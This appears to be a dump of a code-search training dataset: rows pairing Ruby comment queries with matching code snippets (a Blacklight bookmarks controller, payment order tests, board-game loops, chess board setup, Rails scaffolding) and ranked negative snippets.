query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
listlengths
0
101
negative_scores
listlengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
remove all empty keys
def filter_search_keys(search_keys) search_keys.delete_if { |_key, value| value.empty? } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_empty_fields\n self.each_pair do |k, v|\n if self[k].class == Hash\n self[k] = self[k].remove_empty_fields\n else\n self.delete(k) if v.to_s == \"\"\n end\n end\n self\n end", "def except_empty\n self.reject{|k, ...
[ "0.7788672", "0.74332446", "0.73567307", "0.7231372", "0.7196585", "0.71886206", "0.71884924", "0.71693176", "0.71613395", "0.70926416", "0.7060776", "0.7049418", "0.7036345", "0.70293117", "0.70170075", "0.6987565", "0.698242", "0.69798666", "0.69604415", "0.6878189", "0.684...
0.7389517
2
Blacklight uses search_action_url to figure out the right URL for the global search box
def search_action_url *args search_catalog_url(*args) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def search_action_url options = {}\n options = options.to_h if options.is_a? Blacklight::SearchState\n url_for(options.reverse_merge(action: 'index'))\n end", "def search_action_url(options = {})\n blacklight_advanced_search_engine.url_for(options.merge(action: 'index'))\n end", "def search_url_pick...
[ "0.77952254", "0.7777474", "0.775188", "0.74062866", "0.71732396", "0.712616", "0.7099677", "0.7044526", "0.7044526", "0.7001695", "0.6920289", "0.68695915", "0.67872316", "0.6755635", "0.6737442", "0.6682148", "0.65653574", "0.6512726", "0.6508567", "0.64770937", "0.6469119"...
0.7715901
3
For adding a single bookmark, suggest use PUT to /bookmarks/:document_id instead (triggering the update method). This method, accessed via POST to /bookmarks, can be used for creating multiple bookmarks at once, by posting with keys such as bookmarks[n][document_id], bookmarks[n][title]. It can also be used for creating a single bookmark by including keys bookmark[title] and bookmark[document_id], but in that case update is simpler.
def create @bookmarks = if params[:bookmarks] permit_bookmarks[:bookmarks] else [{ document_id: params[:id], document_type: blacklight_config.document_model.to_s }] end current_or_guest_user.save! unless current_or_guest_user.persisted? bookmarks_to_add = @bookmarks.reject { |bookmark| current_or_guest_user.bookmarks.where(bookmark).exists? } success = ActiveRecord::Base.transaction do current_or_guest_user.bookmarks.create!(bookmarks_to_add) rescue ActiveRecord::RecordInvalid false end if request.xhr? success ? render(json: { bookmarks: { count: current_or_guest_user.bookmarks.count } }) : render(json: current_or_guest_user.errors.full_messages, status: "500") else if @bookmarks.any? && success flash[:notice] = I18n.t('blacklight.bookmarks.add.success', count: @bookmarks.length) elsif @bookmarks.any? flash[:error] = I18n.t('blacklight.bookmarks.add.failure', count: @bookmarks.length) end redirect_back fallback_location: bookmarks_path end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @bookmark = Bookmark.create(bookmark_params)\n end", "def create\n @bookmark = Bookmark.new(bookmark_params)\n \n respond_to do |format|\n if @bookmark.save\n # format.html { redirect_to @bookmark, notice: 'Bookmark was successfully created.' }\n format.json { render ...
[ "0.67227495", "0.6600797", "0.6536114", "0.6470963", "0.6457833", "0.6453233", "0.644732", "0.6430696", "0.6409773", "0.64031017", "0.64031017", "0.6387373", "0.63326925", "0.6328988", "0.6318537", "0.63146013", "0.63086903", "0.6296489", "0.6285414", "0.62601584", "0.6250848...
0.64381355
7
Beware, :id is the Solr document_id, not the actual Bookmark id. idempotent, as DELETE is supposed to be.
def destroy @bookmarks = if params[:bookmarks] permit_bookmarks[:bookmarks] else [{ document_id: params[:id], document_type: blacklight_config.document_model.to_s }] end success = @bookmarks.all? do |bookmark| bookmark = current_or_guest_user.bookmarks.find_by(bookmark) bookmark && bookmark.delete && bookmark.destroyed? end if success if request.xhr? render(json: { bookmarks: { count: current_or_guest_user.bookmarks.count } }) else redirect_back fallback_location: bookmarks_path, notice: I18n.t('blacklight.bookmarks.remove.success') end elsif request.xhr? head :internal_server_error # ajaxy request needs no redirect and should not have flash set else redirect_back fallback_location: bookmarks_path, flash: { error: I18n.t('blacklight.bookmarks.remove.failure') } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _delete\n # Set id and cache key\n id = @options[:id]\n cache_key = nil #\"bookmark_#{id}\"\n\n # Retrieve bookmark object\n bookmark = Taupe::Model::Bookmark.load id, cache_key\n fail \"Unknown bookmark ##{id}\" if bookmark.empty?\n\n # Delete it\n Taupe::Model::Tag.exec \"DELETE FROM ...
[ "0.7528189", "0.723179", "0.7139072", "0.6993395", "0.6917048", "0.68288046", "0.6701051", "0.6674466", "0.6651376", "0.6611014", "0.6611014", "0.6593733", "0.6590053", "0.6581485", "0.65595615", "0.65570974", "0.65364385", "0.6532471", "0.65275866", "0.6511781", "0.6499534",...
0.6281555
31
def test_allowed_types_are_taken_from_config assert(PaymentOrder::ENABLED_METHODS.include? 'PaymentOrders::EveryPay') end def test_supported_method_returns_true_or_false assert(PaymentOrder.supported_method?(PaymentOrders::EveryPay)) end def test_payment_method_must_be_supported_for_the_object_to_be_valid payment_order = PaymentOrder.new
def test_invoice_cannot_be_already_paid payment_order = PaymentOrder.new payment_order.invoices << @payable_invoice payment_order.user = @user payment_order.type = 'PaymentOrders::EveryPay' assert(payment_order.valid?) @payable_invoice.mark_as_paid_at(Time.zone.now) assert_not(payment_order.valid?) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def test_truth\n assert_kind_of Payment, @payment\n end", "def test_truth\r\n assert_kind_of Currency, @currency\r\n end", "def test_that_should_report_mostly_empty_without_both_amount_and_method\n assert Payment.new().mostly_empty?\n assert Payment.new({:amount => \"-1\"}).mostly_empty?\n ...
[ "0.70499545", "0.66000605", "0.64924544", "0.6319708", "0.61460257", "0.60762995", "0.6074552", "0.6065832", "0.6061662", "0.60379314", "0.6027517", "0.6002721", "0.5998954", "0.5948669", "0.59360826", "0.59312356", "0.5897744", "0.58919054", "0.5885787", "0.5880696", "0.5867...
0.54979056
78
def add_items_from_cart(cart) cart.items.each do |item| item.cart_id = nil items << item end end
def add_sellers_items_from_cart(items, seller) sellers_items = items.select {|item| item.product.user_id == seller} sellers_items.each do |item| item.cart_id = nil items << item end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_items_from_cart(cart)\n\t\tcart.line_items.each do |item|\n\t\t\titem.cart_id = nil\n\t\t\tline_items << item\n\t\tend\n\tend", "def add_line_items_from_cart(cart)\n cart.line_items.each do |item|\n\t item.cart_id = nil\n \t line_items << item\n end\n end", "def add_line_items_from_cart(car...
[ "0.9089145", "0.87449425", "0.864951", "0.8561501", "0.8561501", "0.8561501", "0.8561501", "0.85253507", "0.847565", "0.845893", "0.84157693", "0.8391638", "0.83703935", "0.8360957", "0.82709324", "0.82668847", "0.8095887", "0.801935", "0.7975606", "0.7935421", "0.7842696", ...
0.7555014
24
begins the game loop
def start puts "Connect Four! Try to get four pieces in a row before the other player." board.print_grid until over? board.place_piece( light_turn ? LIGHT : DARK, choose_column ) board.print_grid @light_turn = !@light_turn end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def beginGameLoop\n @gameLoop.play\n end", "def run\n start_game\n game_loop\n end_game\n end", "def game_loop\n end", "def game_loop\n end", "def play\n\t\tgame_loop\n\tend", "def start\r\n initialize_game\r\n until @game.over?\r\n take_turn\r\n end\r\n print...
[ "0.8511626", "0.8472389", "0.837924", "0.82699776", "0.8152991", "0.7865373", "0.7497698", "0.74548405", "0.7451522", "0.7443359", "0.74140793", "0.73823446", "0.7375133", "0.73177797", "0.72947365", "0.72701085", "0.71484023", "0.71483207", "0.70497745", "0.7045864", "0.7038...
0.0
-1
prompts player to choose from available columns
def choose_column available_cols = board.available_columns loop do puts "#{@light_turn ? LIGHT : DARK}'s turn." puts "Please choose a column from (#{available_cols.join(", ")})" col = gets.chomp.to_i return col if available_cols.include? col end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def user_input column, prompt_flag, prompt_text=nil, choices=nil, default=nil\n if prompt_flag == true\n prompt_flag = :freeform\n prompt_flag = :choice if choices\n end\n case prompt_flag\n when :freeform\n prompt_text ||= \"#{column.capitalize}\"\n #str = ask(prompt_text){ |q| q.d...
[ "0.65747523", "0.6495054", "0.64464766", "0.63697445", "0.6322361", "0.6216596", "0.6177974", "0.61590916", "0.61432123", "0.61092895", "0.60999936", "0.5991817", "0.5920525", "0.5810335", "0.5799087", "0.57847404", "0.5767358", "0.57584786", "0.57584786", "0.57584786", "0.57...
0.65978646
0
returns true if the board is full or if a player has four in row horizontally, vertically, or diagonally
def over? winner = @light_turn ? DARK : LIGHT if board.win?(winner) puts "#{winner} Wins!" return true elsif board.available_columns.empty? puts "Tie game!" return true end false end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def board_full?\n @board.flatten.all?\n @turn == 9 \n end", "def has_connected_four_horizontally(player, board_grid)\n player = player.to_s\n (0...6).each { |r| #row\n (0...4).each { |c| #column\n if (board_grid[r][c] == player and board_grid[r][c+1] == player and board_...
[ "0.7846755", "0.7827885", "0.77723414", "0.77426314", "0.77403164", "0.77385163", "0.77382386", "0.7681919", "0.76534635", "0.7637052", "0.75750226", "0.75750226", "0.75710636", "0.7520781", "0.7516907", "0.7513526", "0.74870896", "0.7484794", "0.7483048", "0.7475727", "0.747...
0.0
-1
redefine your position_taken? method here, so that you can use it in the valid_move? method above.
def position_taken?(board, position) if board[position] == " " || board[position] == "" || board[position] == nil return true else board[position] == "O" || "X" return false end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def position_taken?(board, position)\n return false if valid_move?(board, position)\n return true unless valid_move?(board, position)\nend", "def position_taken?\nend", "def valid_move?(board, index)\n if index.between?(0, 8)\n # re-define your #position_taken? method here, so that you can use it in the #v...
[ "0.8409163", "0.8161616", "0.80913436", "0.8028138", "0.80147326", "0.78978586", "0.78945714", "0.7886332", "0.7844815", "0.78428453", "0.78322804", "0.78152436", "0.78137267", "0.7810521", "0.7802248", "0.7801857", "0.78010464", "0.7789556", "0.7783039", "0.7774705", "0.7773...
0.0
-1
def initialize(name) self.pseudonym = pseudonym_generator() self.pseudonym = name end
def init self.real_id ||= false #will set the default value only if it's nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize(name = \"Anonymous\") # new initialize method that handles only the name!\n\t\tself.name = name\n\tend", "def initialize(name, generator)\n @generator = generator\n @name = name.to_sym\n reset!\n end", "def initialize(name = \"Anonymous\")\n self.name = name #self works ...
[ "0.7044764", "0.6979418", "0.69344527", "0.6932258", "0.6920211", "0.68764716", "0.6870951", "0.68554497", "0.68507606", "0.6843796", "0.68380755", "0.68380755", "0.68380755", "0.68380755", "0.68380755", "0.68380755", "0.6834758", "0.6808607", "0.68035084", "0.67945796", "0.6...
0.0
-1
Creates an empty game board
def create (0..7).each do |row| @board << [] (0..7).each do |col| @board[row] << "[ ]" end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def make_board\n make_blank_board\n populate_board\n end", "def create_board\n\t\t8.times{|x| @board.push([nil,nil,nil,nil,nil,nil,nil,nil])}\n\t\tpopulate_board\n\tend", "def create_board\n (1..(@width * @width).to_i).each do |i|\n values = i <= @amount_mines ? @bomb : @empty\n @board.push...
[ "0.8071314", "0.8060438", "0.77671295", "0.7717324", "0.7652754", "0.7626589", "0.7609917", "0.75430745", "0.7527639", "0.7492653", "0.7479873", "0.7445992", "0.7384504", "0.73727214", "0.73722184", "0.7356272", "0.7323176", "0.7306449", "0.7281446", "0.72745", "0.72698003", ...
0.80400443
2
Populate the game board with chess pieces
def populate @board[7][0] = ChessPiece.new "w_rook_1", "\u2656" @board[7][1] = ChessPiece.new "w_knight_1", "\u2658" @board[7][2] = ChessPiece.new "w_bishop_1", "\u2657" @board[7][3] = ChessPiece.new "w_queen", "\u2655" @board[7][4] = ChessPiece.new "w_king", "\u2654" @board[7][5] = ChessPiece.new "w_bishop_2", "\u2657" @board[7][6] = ChessPiece.new "w_knight_2", "\u2658" @board[7][7] = ChessPiece.new "w_rook_2", "\u2656" @board[0][0] = ChessPiece.new "b_rook_1", "\u265C" @board[0][1] = ChessPiece.new "b_knight_1", "\u265E" @board[0][2] = ChessPiece.new "b_bishop_1", "\u265D" @board[0][3] = ChessPiece.new "b_queen", "\u265B" @board[0][4] = ChessPiece.new "b_king", "\u265A" @board[0][5] = ChessPiece.new "b_bishop_2", "\u265D" @board[0][6] = ChessPiece.new "b_knight_2", "\u265E" @board[0][7] = ChessPiece.new "b_rook_2", "\u265C" (0..7).each do |id| @board[6][id] = ChessPiece.new "w_pawn_#{id+1}", "\u2659" @board[1][id] = ChessPiece.new "b_pawn_#{id+1}", "\u265F" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def populate_board\n rows_of_pieces = (size - 2) / 2\n make_pieces([0, 1], 'red', rows_of_pieces, 1)\n make_pieces([size - 1, 0], 'black', rows_of_pieces, -1)\n end", "def populate_board\n back_row = [Rook, Knight, Bishop, Queen, King, Bishop, Knight, Rook]\n\n black_back_row = []\n back_row.e...
[ "0.8190161", "0.8135816", "0.79677683", "0.7955456", "0.7922005", "0.77886903", "0.77319306", "0.77269506", "0.77088875", "0.7583956", "0.75672823", "0.7553201", "0.75343597", "0.75214475", "0.7448395", "0.7402488", "0.739631", "0.73707753", "0.7357193", "0.7320941", "0.73137...
0.8264088
0
Moves a piece on the board to another position
def update start_row, start_col, end_row, end_col temp = @board[start_row][start_col] @board[start_row][start_col] = "[ ]" @board[end_row][end_col] = temp end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def move_piece(coord)\n @game.move_piece_to(coord)\n end", "def move_piece(from, to)\n return move_piece_in_square(@board[from], @board[to])\n end", "def move_piece(from, to)\n return move_piece_in_square(@board[from], @board[to])\n end", "def move(piece, column, row) \n piece.column = column\...
[ "0.84438235", "0.82677084", "0.82677084", "0.81274575", "0.8113834", "0.8054586", "0.7959958", "0.79268324", "0.79067785", "0.77974904", "0.7783174", "0.7770978", "0.77225035", "0.77203166", "0.77021635", "0.7683577", "0.76742387", "0.7627395", "0.7625297", "0.7625297", "0.76...
0.0
-1
Formats and displays the game board
def display puts " 0 1 2 3 4 5 6 7 " puts "#{format}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def format_board\n\n\t\t# formateamos la primera fila de negras\n\t\t@board[0][0] = \"bR\"\n\t\t@board[0][1] = \"bN\"\n\t\t@board[0][2] = \"bB\"\n\t\t@board[0][3] = \"bQ\"\n\t\t@board[0][4] = \"bK\"\n\t\t@board[0][5] = \"bB\"\n\t\t@board[0][6] = \"bN\"\n\t\t@board[0][7] = \"bR\"\n\n\t\t# formateamos los peones de ...
[ "0.80805194", "0.8028908", "0.7965511", "0.7818274", "0.7812059", "0.78038144", "0.78025866", "0.7784029", "0.77781624", "0.77687305", "0.7731792", "0.7728171", "0.77244544", "0.7723759", "0.77085364", "0.7705398", "0.7699296", "0.7696927", "0.7692793", "0.7688391", "0.768147...
0.0
-1
Returns a string that resembles a chess board
def format display_string = "" (0..7).each do |row| display_string += "#{row}" (0..7).each do |col| if @board[row][col].instance_of? ChessPiece display_string += "[#{@board[row][col].unicode} ]" elsif @board[row][col].is_a? String display_string += @board[row][col] end end display_string += "\n" end return display_string end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def board_string\n\t\toutput_string = ''\n\t\t@game_board.each do |x|\n\t\t\tx.each do |y|\n\t\t\t\tif y == ''\n\t\t\t\t\ty = '-'\n\t\t\t\tend\n\t\t\t\toutput_string += y\n\t\t\tend\n\t\t\toutput_string += \"\\n\"\n\t\tend\n\t\toutput_string\n\tend", "def to_s\n board_2d.map do |row|\n row.map { |letter|...
[ "0.81569463", "0.79684997", "0.79651415", "0.78281605", "0.77872664", "0.7735651", "0.77242976", "0.76849085", "0.7664246", "0.76604277", "0.7641488", "0.7631391", "0.76211023", "0.7614432", "0.761214", "0.7583604", "0.7581005", "0.7573897", "0.7517187", "0.7513057", "0.75073...
0.80490744
1
GET /data_errors/1 GET /data_errors/1.json
def show @data_error = DataError.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @data_error } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def api_error\n dm_data.first.first == \"errors\"\n end", "def error\n @data['error']\n end", "def error\n @data['error']\n end", "def error\n data['error']\n end", "def format_errors(_data)\n _data.errors.as_json\n end", "def render_errors(errors)\n render json: errors...
[ "0.6915871", "0.6842427", "0.6842427", "0.6769913", "0.6687202", "0.6681599", "0.6664746", "0.6643704", "0.6529256", "0.6409022", "0.6373255", "0.6365299", "0.63526565", "0.6350938", "0.63375586", "0.63320255", "0.6301945", "0.6296029", "0.62238604", "0.62185663", "0.6216142"...
0.7119997
0
GET /data_errors/new GET /data_errors/new.json
def new @data_error = DataError.new respond_to do |format| format.html # new.html.erb format.json { render json: @data_error } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @information_error = InformationError.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @information_error }\n end\n end", "def new\n @thing_with_error = ThingWithError.new\n\n respond_to do |format|\n format.html # new.html.erb\n ...
[ "0.71066225", "0.7088602", "0.6927872", "0.6787473", "0.6518212", "0.64986336", "0.6448356", "0.6432634", "0.64298713", "0.6426504", "0.6412556", "0.6412556", "0.63385135", "0.63385135", "0.6337157", "0.6334755", "0.6316414", "0.628928", "0.6286267", "0.62850636", "0.62820566...
0.80718416
0
POST /data_errors POST /data_errors.json
def create @data_error = DataError.new(params[:data_error]) respond_to do |format| if @data_error.save format.html { redirect_to @data_error, notice: 'Data error was successfully created.' } format.json { render json: @data_error, status: :created, location: @data_error } else format.html { render action: "new" } format.json { render json: @data_error.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def format_errors(_data)\n _data.errors.as_json\n end", "def post(exception_data)\n hash = exception_data.to_hash\n hash[:session].delete(\"initialization_options\")\n hash[:session].delete(\"request\")\n call_remote(:errors, hash.to_json)\n end", "def error(data = false)\n ...
[ "0.6923201", "0.68207806", "0.6551415", "0.6448383", "0.6432634", "0.6341944", "0.6203858", "0.61404026", "0.6101696", "0.60785145", "0.60785145", "0.605449", "0.6047283", "0.5997083", "0.59899986", "0.59829164", "0.5958447", "0.595046", "0.59226465", "0.5921321", "0.59184146...
0.6906282
1
PUT /data_errors/1 PUT /data_errors/1.json
def update @data_error = DataError.find(params[:id]) respond_to do |format| if @data_error.update_attributes(params[:data_error]) format.html { redirect_to @data_error, notice: 'Data error was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @data_error.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @error.update(error_params)\n format.html { redirect_to @error, notice: \"Error was successfully updated.\" }\n format.json { render :show, status: :ok, location: @error }\n else\n format.html { render :edit, status: :unprocessable_entity }...
[ "0.6035311", "0.60297316", "0.59813106", "0.59805566", "0.5960468", "0.5960468", "0.5960468", "0.5960468", "0.5934411", "0.5898116", "0.5839487", "0.57817847", "0.5718022", "0.5716214", "0.5701169", "0.56662375", "0.5644471", "0.5628808", "0.56085217", "0.5595767", "0.5580112...
0.68804973
0
DELETE /data_errors/1 DELETE /data_errors/1.json
def destroy @data_error = DataError.find(params[:id]) @data_error.destroy respond_to do |format| format.html { redirect_to data_errors_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON....
[ "0.67463934", "0.6510026", "0.6480202", "0.6457014", "0.6455552", "0.6445516", "0.637112", "0.636466", "0.6351702", "0.634401", "0.63259536", "0.62997055", "0.6286317", "0.62835205", "0.6273738", "0.62508035", "0.62366986", "0.62332475", "0.6233235", "0.6230106", "0.6218038",...
0.7396915
0
the desired result. To check your work, run this file by entering the following command in your terminal: `ruby section2/exercises/methods.rb` Example: Write a method that when called will print your name:
def print_name p "Severus Snape" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def print_name\n puts \"Will Meighan\"\nend", "def print_name(name)\nputs \"Name: #{name}\"\nend", "def print_name\n p \"Alexander Mathieu\"\nend", "def print_name\r\nputs \"Person called #{@name}\"\r\nend", "def print_name\n puts \"Person called #{@name}\" \n end", "def print_name\n p \"Chris\"\nen...
[ "0.7979761", "0.7958294", "0.7927161", "0.79203486", "0.7858779", "0.7855223", "0.78342193", "0.78342193", "0.78342193", "0.78342193", "0.78342193", "0.7804715", "0.7804678", "0.7802342", "0.7802342", "0.7802342", "0.77956045", "0.77936745", "0.7787729", "0.7785286", "0.77850...
0.0
-1
Write a method that takes a name as an argument and prints it:
def print_name(name) puts name end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def print_name(name)\n puts \"#{name}\"\nend", "def print_name(name)\n puts \"#{name}\"\nend", "def print_name(name)\n puts \"#{name}\"\nend", "def print_name(name)\n p \"#{name}\"\nend", "def print_name(name)\n p \"#{name}\"\nend", "def print_name(name)\n p \"#{name}\"\nend", "def print_name(nam...
[ "0.86877906", "0.86877906", "0.86877906", "0.8675344", "0.8675344", "0.8675344", "0.8675344", "0.8675344", "0.8568528", "0.8562393", "0.8522358", "0.85217804", "0.85062236", "0.8505113", "0.8505113", "0.8505113", "0.8505113", "0.8505113", "0.8505113", "0.8505113", "0.8505113"...
0.8692108
14
Write a method that takes in 2 numbers as arguments and prints their sum. Then call your method three times with different arguments passed in:
def first_method(num_1, num_2) puts num_1 + num_2 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sum_these_numbers (a, b)\n puts a + b\nend", "def two_sum(nums)\nend", "def sum_these_numbers(a,b)\n puts a + b\nend", "def sum_these_numbers(a, b)\n puts a + b\nend", "def numbers(a, b)\n puts \"First number is #{a}\"\n puts \"Second number is #{b}\"\n return a + b\nend", "def sum_nums(num1, n...
[ "0.7775145", "0.77619874", "0.77478385", "0.77478", "0.767521", "0.76343995", "0.76157206", "0.75253206", "0.7515833", "0.7513327", "0.75060844", "0.748958", "0.74663174", "0.7452047", "0.74504924", "0.74294496", "0.74278307", "0.73973227", "0.7393963", "0.73891807", "0.73743...
0.71778
41
Write a method that takes in two strings as arguments and prints a concatenation of those two strings. Example: The arguments could be (man, woman) and the end result might output: "When Harry Met Sally". Then call your method three times with different arguments passed in.
def second_method(name_1, name_2) puts "#{name_1}'s beauty really can't compare with #{name_2}'s." end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def string_concat(name_1, name_2)\n puts \"I went to the concert with \" +name_1 + \" and \" + name_2 + \".\"\nend", "def concatenation(word1, word2)\n puts \"Artist #{word1} just released their newest album, titled #{word2}.\"\nend", "def two_strings(man, woman)\n p \"When \" + man + \" Met \" + woman\nend...
[ "0.79053885", "0.7840924", "0.75949436", "0.74773926", "0.7410742", "0.73765826", "0.73164046", "0.7306949", "0.7301611", "0.7280463", "0.725939", "0.7250898", "0.7205665", "0.718202", "0.7169227", "0.7151705", "0.7148094", "0.7141559", "0.7101758", "0.7080918", "0.70742244",...
0.0
-1
this method is intended to merge payloads if they are nonempty hashes, but prefer the right most one if they are not hashes.
def merge lhs, rhs if rhs.respond_to?(:empty?) && rhs.empty? lhs elsif lhs.respond_to?(:merge) if rhs.respond_to?(:merge) string_keys(lhs).merge(string_keys(rhs)) else rhs end else rhs end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def merge_payload! # rubocop:disable Metrics/MethodLength\n payload_hash = {}\n @payload.each do |p|\n next unless p.is_a?(Hash)\n case merge_strategy\n when :hash\n payload_hash = p.merge(payload_hash)\n when :deep_hash\n payload_hash = p.deep_merge!(payload...
[ "0.716487", "0.574754", "0.574754", "0.574754", "0.57450324", "0.57052", "0.56707585", "0.5621381", "0.55326515", "0.55233383", "0.5504557", "0.5493695", "0.5455851", "0.5418039", "0.53678924", "0.53678596", "0.53549147", "0.5335852", "0.53155386", "0.5310267", "0.53055227", ...
0.53470355
17
============================================ Instance methods ============================================ We want to use the token instead of the id
def to_param self.token end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def id\n token\n end", "def generate_token\n #Token.generate_token(self.id)\n end", "def id_token\n @id_token ||= nil\n end", "def token\n return nil if !id\n encode(id)\n end", "def set_token\n @token = @instance.tokens.find(params[:id] || params[:token_id])\n end", "d...
[ "0.8478675", "0.7805131", "0.755799", "0.7520007", "0.7393739", "0.73297375", "0.7324664", "0.72884977", "0.72884977", "0.71890867", "0.7181823", "0.7120899", "0.71196514", "0.70848185", "0.7075782", "0.7050981", "0.70362", "0.70199597", "0.6990394", "0.69878703", "0.6987754"...
0.0
-1
TODO: specs Freeze user acocunt and update the deletion request
def freeze_account! self.put(operation: 'freeze') end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete\n \n end", "def deleteRequest\n\n end", "def delete\n \n end", "def delete_user\n end", "def delete\n\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def...
[ "0.768202", "0.73609495", "0.7225051", "0.72061116", "0.7136039", "0.70622987", "0.70622987", "0.70622987", "0.70622987", "0.70622987", "0.70622987", "0.70622987", "0.70254344", "0.6971088", "0.69681287", "0.696418", "0.6873167", "0.67636335", "0.6734982", "0.66822654", "0.66...
0.0
-1
=begin if date has then split the date on the reverse and join with dot =end
def format_date(date) return date unless !!date.match(/[\-]+/) date.split(/\-/).reverse.join(".") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def service_date_reference\n service_date_elements, svc_date_segments = [], []\n from_date = service.date_of_service_from.strftime(\"%Y%m%d\") unless service.date_of_service_from.blank?\n to_date = service.date_of_service_to.strftime(\"%Y%m%d\") unless service.date_of_service_to.blank? \n if from_dat...
[ "0.604584", "0.57802063", "0.55875945", "0.5489079", "0.53979397", "0.53979397", "0.53945136", "0.5391855", "0.53673184", "0.5326149", "0.5323566", "0.5310447", "0.52827984", "0.5260241", "0.52071816", "0.51606596", "0.5144447", "0.51241523", "0.51030385", "0.509292", "0.5080...
0.5280726
13
(no change) ls solution
def format_date(original_date) original_date.sub(/\A(\d\d\d\d)-(\d\d)-(\d\d)\z/, '\3.\2.\1') end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ls(path = \"\")\n\t\tcmd 'ls ' + path.to_s\n\tend", "def ls\n table Dir.entries( Dir.pwd ).reject { |f| f.match /^\\..*$/ }\n end", "def ls\n Dir.entries(@working_dir)\n end", "def fls(file)\n end", "def do_ls()\n\t\tif @system_type == WINDOWS then \n\t\t\treturn %x(dir #{@path})\n\t\tend ...
[ "0.7076245", "0.7032267", "0.6880021", "0.6787332", "0.6747785", "0.6619359", "0.6599315", "0.658701", "0.6564473", "0.6563392", "0.65596336", "0.65389216", "0.65077794", "0.6479139", "0.6426553", "0.6401661", "0.63857245", "0.63857245", "0.63857245", "0.6358767", "0.63586056...
0.0
-1
Creates the players and the grid
def initialize @board = Board.new end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_players\n\t\t\t\tnum_players.times do |i|\n\t\t\t\t\tplayer_class = Merlion::Player\n\t\t\t\t\tself.players[i] = create_player({ seat: i, class: player_class })\n\t\t\t\tend\n\t\t\tend", "def setup_players\n @players = []\n @players << add(Spaceship, 400, 320)\n @players << add(Tank, width/2,...
[ "0.7265136", "0.7182019", "0.7045708", "0.70349234", "0.70334756", "0.6948522", "0.677994", "0.67660564", "0.6725671", "0.67060584", "0.66937774", "0.66446733", "0.66263664", "0.658209", "0.6538686", "0.6537632", "0.6525969", "0.65154123", "0.6496448", "0.648338", "0.6457295"...
0.0
-1
This is the main game
def play @board.print_grid do_break = false while !((@board.checkWin('X', @p1.name)) || (@board.checkWin('O', @p2.name))) player_turn if @@turn == 9 do_break = true end break if do_break end finish end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def game; end", "def game; end", "def game; end", "def game; end", "def game; end", "def game; end", "def game; end", "def game_loop\n end", "def game_loop\n end", "def main\n rounds = Game.start\n game = Game.new(rounds)\n roshambo = Roshambo.new(game)\n Roshambo.play(roshambo)\nend", ...
[ "0.8106771", "0.8106771", "0.8106771", "0.8106771", "0.8106771", "0.81066614", "0.81066614", "0.78415847", "0.77224153", "0.76907516", "0.76022905", "0.7514626", "0.7507942", "0.74946874", "0.74578017", "0.74550825", "0.7336176", "0.7253358", "0.72449386", "0.7238199", "0.723...
0.0
-1
